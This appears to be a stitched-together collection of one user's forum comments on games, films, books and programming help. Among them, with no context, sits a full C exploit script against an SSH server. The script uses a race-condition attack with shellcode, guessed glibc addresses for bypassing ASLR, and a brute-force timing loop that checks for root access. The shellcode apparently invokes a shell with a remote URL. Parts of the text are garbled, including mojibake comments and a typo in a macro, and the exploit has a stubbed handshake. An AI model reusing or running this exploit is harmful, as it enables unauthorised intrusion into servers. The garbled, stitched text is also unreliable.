Because "He made dis duh!"

I don't think make made that.

Check out Tim Cain's videos on YT.

Sir Patrick Steward despised the movie when It released and refused to watch it because he though it makes fun of Start Trek and his work.

It was not until Jonathan Frakes told him "Dude! You gonna see this!" that he watched it and he loved every second.

Why is the MC of the Japanese AC not Japanese?

I've seen people implying that the MC in the Fable trailers is "ugly" because it's a self-insert of some random level designer working at Playground whom they have deemed not fuckable enough.

I don't know about that, but If I had a choice between playing with the current Fable MC model and the Emily Ratajkowski model, I would choose Emily.

Maybe I'm just simple like that.

You can post but no one can see it but the sub mods. It has to be done from the Admin level.

How can you people read this unformatted drivel?

gigachad c

```
#include <stdio.h>
#include <stdlib.h>

#define DEFINE_ITERATOR_FUNC(FUNC_NAME) \
typedef void (*FUNC_NAME##_Function)(void* result, const void* element); \
void* FUNC_NAME(const void* array, size_t length, size_t element_size, FUNC_NAME##_Function func) { \
    void* result = malloc(length * element_size); \
    if (result == NULL) { \
        fprintf(stderr, "Memory allocation failed\n"); \
        exit(1); \
    } \
    for (size_t i = 0; i < length; ++i) { \
        const void* element = (const char*)array + i * element_size; \
        void* result_element = (char*)result + i * element_size; \
        func(result_element, element); \
    } \
    return result; \
}

DEFINE_ITERATOR_FUNC(map)
DEFINE_ITETATIR_FUNC(transform)

```

There.

_nobody_else_
46
Senior IoT Software Architect

If he's doing it, than he's sharing company IP. That's firing on the spot and probably a law suit.

EDIT: you should escalate this.

Speak for yourself. I know just about everything about computers.

No I'm not. I stumbled upon it when I was reading through my country's Junior-Library collection when I was a kid.

I'm rally glad you've read it. I don't think I ever met anyone who's read it.

So here's another recommendation. But this one is not for children.

Zoo Station: The Story of Christiane F.

Which is such a stupid name translation that I can barely believe it. The original's name is " Wir Kinder vom Bahnhof Zoo" which is probably self explanatory.

And this one will hurt you.

If you're ok with children's fantasy try The Brothers Lionheart. But don't be fooled with the "children's" part. It hits like a truck in the first few pages.

#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] =
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x66\x68\x2d\x71\x89\xe1\x50\x68\x38\x39\x2e\x31\x68\x31\x32\x2e\x37\x68\x2e\x31\x39\x2e\x68\x31\x39\x38\x2e\x68\x74\x70\x3a\x2f\x68\x2f\x68\x74\x74\x89\xe1\x51\x89\xe1\xb0\x0b\xcd\x80";

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

int setup_connection (const char *ip, int port);
void send_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len);
void prepare_heap (int sock);
void time_final_packet (int sock, double *parsing_time);
int attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base);

int setup_connection (const char *ip, int port) {
    int sock;
    struct sockaddr_in server_addr;

    sock = socket (AF_INET, SOCK_STREAM, 0);
    if (sock < 0) {
        perror ("socket");
        return -1;
    }

    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons (port);
    server_addr.sin_addr.s_addr = inet_addr (ip);

    if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr)) < 0) {
        perror ("connect");
        close (sock);
        return -1;
    }

    return sock;
}

void send_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len) {
    unsigned char buffer[MAX_PACKET_SIZE];
    memset (buffer, 0, sizeof (buffer));
    buffer[0] = packet_type;
    memcpy (buffer + 1, data, len);
    send (sock, buffer, len + 1, 0);
}

void prepare_heap (int sock) {
    unsigned char buf[MAX_PACKET_SIZE];
    memset(buf, 0x41, sizeof(buf)); // å¡«å……ç¼“å†²åŒºï¼Œæ¨¡æ‹Ÿå †å¸ƒå±€
    send_packet(sock, 0, buf, sizeof(buf)); // 发送填充数据包
}

void time_final_packet (int sock, double *parsing_time) {
    struct timespec start, end;
    unsigned char buf[256];
    memset(buf, 0, sizeof(buf));

    clock_gettime(CLOCK_MONOTONIC, &start); // 记录开始时间
    send_packet(sock, 1, buf, sizeof(buf)); // 发送一个小数据包
    recv(sock, buf, sizeof(buf), 0); // 接收服务器的响应
    clock_gettime(CLOCK_MONOTONIC, &end); // 记录结束时间

    *parsing_time = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1000000000.0; // 计算解析时间
}

int attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base) {
    struct timespec req, rem;
    unsigned char payload[256];

    // 创建包含shellcode的payload
    memset(payload, 0x90, sizeof(payload)); // 填充NOP指令
    memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode)); // 插入shellcode

    req.tv_sec = (time_t)parsing_time;
    req.tv_nsec = (parsing_time - req.tv_sec) * 1000000000;

    nanosleep(&req, &rem); // ä¼‘çœ ä»¥ç²¾ç¡®æŽ§åˆ¶æ—¶é—´

    send_packet(sock, 2, payload, sizeof(payload)); // 发送包含shellcode的payload

    // 验证是否成功
    if (recv(sock, payload, sizeof(payload), 0) > 0) {
        if (strstr((char *)payload, "root") != NULL)
            return 1; // 成功
    }

    return 0; // 失败
}

// Placeholder for the actual SSH handshake implementation
int perform_ssh_handshake(int sock) {
    // Return 0 for success, -1 for failure
    return 0;
}

int perform_exploit (const char *ip, int port) {
    int success = 0;
    double parsing_time = 0;
    double timing_adjustment = 0;

    for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++) {
        uint64_t glibc_base = GLIBC_BASES[base_idx];
        printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);

        for (int attempt = 0; attempt < 10000 && !success; attempt++) {
            if (attempt % 1000 == 0) {
                printf ("Attempt %d of 10000\n", attempt);
            }

            int sock = setup_connection (ip, port);
            if (sock < 0) {
                fprintf (stderr, "Failed to establish connection, attempt %d\n", attempt);
                continue;
            }

            if (perform_ssh_handshake (sock) < 0) {
                fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
                close (sock);
                continue;
            }

            prepare_heap (sock);
            time_final_packet (sock, &parsing_time);

            parsing_time += timing_adjustment;

            if (attempt_race_condition (sock, parsing_time, glibc_base)) {
                printf ("Possible exploitation success on attempt %d with glibc base 0x%lx!\n",
                        attempt, glibc_base);
                success = 1;
            } else {
                timing_adjustment += 0.00001;
            }

            close (sock);
            usleep (100000); // 100ms delay between attempts
        }
    }

    return success;
}

int main(int argc, char *argv[]) {
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <target_ip> <target_port>\n", argv[0]);
        return EXIT_FAILURE;
    }

    const char *target_ip = argv[1];
    int target_port = atoi(argv[2]);

    if (perform_exploit(target_ip, target_port)) {
        printf("Exploit succeeded.\n");
    } else {
        printf("Exploit failed.\n");
    }

    return EXIT_SUCCESS;
}

Create a clicked() signal associated with the "save" QPushButton and connect it with a slot that will read the current text from the QLineEdit controls.

What are you even trying to do? You installed C# and .NET and are trying to open and run a project?

I'm apolitical. I like cats. They don't give a shit if they have no need for it, they take care of them selves and can't be controlled. But still you can feel that they love you.

I came to the 20th anniversary of graduation and it was the first and the last time I ever went. And I rubbed into everyone's face how better I am compared to them in everything.

I know it's was stupid and petty, but I made a promise to a depressed kid in the past that he will do it one day.
And you know how people say that vengeance isn't worth it? They're wrong. I enjoyed every second.

Look, I don't want to sound snide, but are you sure it's VS fault or you just don't know what you are doing?

  • You download VS Setup (community) and run it.
  • Select install components and install path.
  • Install.

Done!

EDIT:

Then I am forced to restart my laptop . Closing the app doesnt work.

How about terminating the process?

I bought Selaco just becuse of this scene